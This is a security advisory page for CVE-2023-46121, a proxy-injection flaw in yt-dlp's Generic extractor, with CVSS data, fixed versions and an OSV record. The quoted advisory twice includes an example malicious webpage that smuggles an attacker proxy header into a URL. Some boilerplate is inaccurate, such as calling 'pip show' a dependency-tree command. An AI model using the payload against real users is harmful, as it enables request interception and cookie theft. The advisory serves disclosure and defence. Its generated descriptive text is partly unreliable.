CVE-2023-46121: Yt dlp Yt-dlp Generic Extractor MITM Vulnerability Vulnerability

MODERATE
Advisory Identifier: GHSA-3ch3-jhc6-5r8x
CVSS 5.0
CWE-613 CWE-444
Published
Advisory Summary

CVE-2023-46121 is a MODERATE (CVSS 5.0) yt-dlp generic extractor mitm vulnerability vulnerability (CWE-613: Insufficient Session Expiration) affecting Yt dlp libraries in the PyPI ecosystem. The issue involves yt-dlp generic extractor mitm vulnerability via arbitrary proxy injection. Remediation is available by upgrading affected packages to version 2023.11.14.

CVE-2023-46121 at a Glance

CVE Identifier CVE-2023-46121
GHSA Identifier GHSA-3ch3-jhc6-5r8x
Severity MODERATE
CVSS v3.1 Base Score 5.0
CWE Classification CWE-613: Insufficient Session Expiration
Affected Product Yt dlp
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2023-46121

To remediate this vulnerability, upgrade all affected Yt dlp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

yt-dlp fixed: 2023.11.14
pip install yt-dlp>=2023.11.14
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show yt-dlp

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2023-46121, inspect your installed packages using pip:

pip show yt-dlp

Analyze the terminal output to locate any version of Yt dlp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2023.11.14), your application is affected.

Note: The pip show yt-dlp command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-613: Insufficient Session Expiration, where according to wasc, "insufficient session expiration is when a web site permits an attacker to reuse old session credentials or session ids for authorization.". In Yt dlp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases. <details> To pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only. Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a `Referer` header sent with it, for example. Additionally, yt-dlp has internal headers to set a proxy for a request: `Ytdl-request-proxy` and `Ytdl-socks-proxy`. While these are deprecated, internally `Ytdl-request-proxy` is still used for `--geo-verification-proxy`. However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to **set an arbitrary proxy for an arbitrary url that the Generic extractor will request.** This could allow for the following, but not limited too: - An attacker can MITM a request it asks yt-dlp to make to **any** website. - If a user has loaded cookies into yt-dlp for the target site, which are not marked as [secure](https://en.wikipedia.org/wiki/Secure_cookie), they could be exfiltrated by the attacker. - Fortunately most sites are HTTPS and should be setting cookies as secure. - An attacker can set cookies for an arbitrary site. An example malicious webpage: ```html <!DOCTYPE html> <cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D') ``` Where `{{ target_site }}` is the URL Generic extractor will request and `{{ proxy url }}` is the proxy to proxy the request for this url through. </details> ### Patches - We have removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. ### Workarounds - Disable Generic extractor (`--ies default,-generic`), or only pass trusted sites with trusted content. - Take caution when using `--no-check-certificate`. ### References - <https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x> - <https://nvd.nist.gov/vuln/detail/CVE-2023-46121> - <https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14> - <https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb>

CVE-2023-46121 Affected Yt dlp Versions

1 component(s)
Fixed Versions:
2023.11.14
Product / Package Ecosystem Affected Versions Fixed Version
yt-dlp
PyPI
≥ 2022.10.04
< 2023.11.14
2023.11.14

References

Frequently Asked Questions

What is CVE-2023-46121?
CVE-2023-46121 is a security vulnerability in Yt dlp involving yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection under CWE-613: Insufficient Session Expiration.
Which Yt dlp versions are affected?
Affected versions include releases prior to 2023.11.14 across affected packages: yt-dlp.
What version fixes CVE-2023-46121?
Upgrading to 2023.11.14 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yt-dlp affected?
Yes, yt-dlp is affected in releases prior to 2023.11.14. Upgrade your dependency to 2023.11.14 or later.
What is the CVSS score of CVE-2023-46121?
CVE-2023-46121 has a CVSS v3.1 base score of 5.0 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L.
What CWE is associated with CVE-2023-46121?
CVE-2023-46121 is classified under CWE-613: Insufficient Session Expiration (According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.").
How can I check PyPI dependencies for CVE-2023-46121?
Run the dependency tree command: 'pip show yt-dlp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3ch3-jhc6-5r8x",
  "modified" : "2023-11-15T14:48:24Z",
  "published" : "2023-11-15T14:48:24Z",
  "aliases" : [ "CVE-2023-46121" ],
  "summary" : "yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection",
  "details" : "### Impact\nThe Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.\n\n<details>\n\nTo pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of \"url smuggling\". This works by adding this extra data as json to the url fragment (\"smuggling\") that is then passed on to an extractor. The receiving extractor then \"unsmuggles\" the data from the input url. This functionality is intended to be internal only.\n\nCurrently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a `Referer` header sent with it, for example.\n\nAdditionally, yt-dlp has internal headers to set a proxy for a request: `Ytdl-request-proxy` and `Ytdl-socks-proxy`. While these are deprecated, internally `Ytdl-request-proxy` is still used for `--geo-verification-proxy`.\n\nHowever, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself.  This allows a malicious website to **set an arbitrary proxy for an arbitrary url that the Generic extractor will request.**\n\nThis could allow for the following, but not limited too:\n- An attacker can MITM a request it asks yt-dlp to make to **any** website.\n   - If a user has loaded cookies into yt-dlp for the target site, which are not marked as [secure](https://en.wikipedia.org/wiki/Secure_cookie), they could be exfiltrated by the attacker.\n   - Fortunately most sites are HTTPS and should be setting cookies as secure.\n- An attacker can set cookies for an arbitrary site.\n\nAn example malicious webpage:\n```html\n<!DOCTYPE html>\n<cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')\n```\n\nWhere `{{ target_site }}` is the URL Generic extractor will request and `{{ proxy url }}` is the proxy to proxy the request for this url through.\n\n</details>\n\n### Patches\n- We have removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern.\n\n### Workarounds\n- Disable Generic extractor (`--ies default,-generic`), or only pass trusted sites with trusted content.\n- Take caution when using `--no-check-certificate`.\n\n### References\n- <https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x>\n- <https://nvd.nist.gov/vuln/detail/CVE-2023-46121>\n- <https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14>\n- <https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb>\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "yt-dlp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2022.10.04"
      }, {
        "fixed" : "2023.11.14"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-46121"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yt-dlp/yt-dlp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-444", "CWE-613" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-11-15T14:48:24Z",
    "nvd_published_at" : "2023-11-15T00:15:09Z"
  }
}